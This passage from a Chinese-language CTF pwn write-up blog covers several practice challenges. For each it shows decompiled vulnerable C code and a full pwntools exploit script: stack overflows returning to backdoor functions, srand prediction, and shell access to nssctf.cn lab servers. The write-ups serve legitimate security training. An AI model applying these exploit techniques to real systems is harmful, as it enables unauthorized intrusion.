class="string">&quot;Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t&quot;</span>)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="LitCTF-2023-口算题卡"><a href="#LitCTF-2023-口算题卡" class="headerlink" title="[LitCTF 2023]口算题卡"></a>[LitCTF 2023]口算题卡</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>):</span><br><span class="line">p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>):</span><br><span class="line">p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>():</span><br><span class="line">p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>():</span><br><span class="line"><span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>):</span><br><span class="line">p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>():</span><br><span class="line">p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>():</span><br><span class="line"><span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():</span><br><span class="line"><span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28778</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line">recv_header = p.recvuntil(<span class="string">b&quot;Have fun!\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">    p.recvuntil(<span class="string">b&quot;What is&quot;</span>)</span><br><span class="line">  </span><br><span class="line">    key = p.recvuntil(<span class="string">b&quot;?&quot;</span>)</span><br><span class="line">    payload = flat([</span><br><span class="line">        <span class="built_in">str</span>(<span class="built_in">eval</span>(key[:-<span class="number">1</span>]))</span><br><span class="line">    ])</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">eval</span>(key[:-<span class="number">1</span>]))</span><br><span class="line">    p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="HDCTF-2023-pwnner"><a href="#HDCTF-2023-pwnner" class="headerlink" title="[HDCTF 2023]pwnner"></a>[HDCTF 2023]pwnner</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line">  _BYTE v3[<span class="number">64</span>]; <span class="comment">// [rsp+10h] [rbp-40h] BYREF</span></span><br><span class="line"></span><br><span class="line">  srand(<span class="number">0x39</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;you should prove that you love pwn,so input your name:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x10</span>uLL);</span><br><span class="line">  v0 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v0 == rand() )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;ok,you have a little cognition about pwn,so what will you do next?&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, v3, <span class="number">0x100</span>uLL);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;sorry,you are not a real pwnner&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>srand是伪随机数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">      srand(<span class="number">0x39</span>u);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,rand());</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译发现，一直输出</p><p>1956681178</p><p>所以即可栈溢出</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>):</span><br><span class="line">p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>):</span><br><span class="line">p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>():</span><br><span class="line">p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>():</span><br><span class="line"><span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>):</span><br><span class="line">p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>():</span><br><span class="line">p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>():</span><br><span class="line"><span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():</span><br><span class="line"><span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">24121</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">data = subprocess.run(<span class="string">&#x27;./main&#x27;</span>,shell=<span class="literal">True</span>,stdout=subprocess.PIPE).stdout</span><br><span class="line">sl(data)</span><br><span class="line">offset = <span class="number">0x40</span> + <span class="number">8</span></span><br><span class="line">payload = cyclic(offset) + p64(elf.sym[<span class="string">&#x27;get_shell&#x27;</span>]+<span class="number">1</span>)</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h2 id="11-10"><a href="#11-10" class="headerlink" title="11.10"></a>11.10</h2><h3 id="MoeCTF-2022-shell"><a href="#MoeCTF-2022-shell" class="headerlink" title="[MoeCTF 2022]shell"></a>[MoeCTF 2022]shell</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to PWN world!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;In PWN, your goal is to get shell.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here I&#x27;ll give you the shell as a gift for our first meeting.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Have fun in the following trip!&quot;</span>);</span><br><span class="line">  system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接连接即可</p><h3 id="HGAME-2023-week1-easy-overflow"><a href="#HGAME-2023-week1-easy-overflow" class="headerlink" title="[HGAME 2023 week1]easy_overflow"></a>[HGAME 2023 week1]easy_overflow</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">16</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  close(<span class="number">1</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x100</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">b4ckd0or</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">24254</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">offset = <span class="number">0x10</span> + <span class="number">8</span></span><br><span class="line">payload = flat([cyclic(offset),<span class="number">0x00000000040117B</span>])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">cat</span> flag&gt;&amp;2</span><br><span class="line">NSSCTF&#123;2e156d0c-2961-4dae-bbd5-12f743d1cf1e&#125;</span><br></pre></td></tr></table></figure><p>​<code>exec 1&gt;&amp;0</code>​输出重定向</p><h3 id="UUCTF-2022-新生赛-babystack"><a href="#UUCTF-2022-新生赛-babystack" class="headerlink" title="[UUCTF 2022 新生赛]babystack"></a>[UUCTF 2022 新生赛]babystack</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  fflush(<span class="built_in">stdin</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  fflush(<span class="built_in">stderr</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">256</span>]; <span class="comment">// [rsp+0h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to UUCTF!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, buf);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">back_door</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;It&#x27;s so easy for you!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意栈对齐即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">port = <span class="number">1111</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">offset = <span class="number">0x100</span> + <span class="number">8</span></span><br><span class="line">payload = flat([cyclic(offset),ret,elf.sym[<span class="string">&#x27;back_door&#x27;</span>]])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="MoeCTF-2021-ret2text-ez"><a href="#MoeCTF-2021-ret2text-ez" class="headerlink" title="[MoeCTF 2021]ret2text_ez"></a>[MoeCTF 2021]ret2text_ez</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 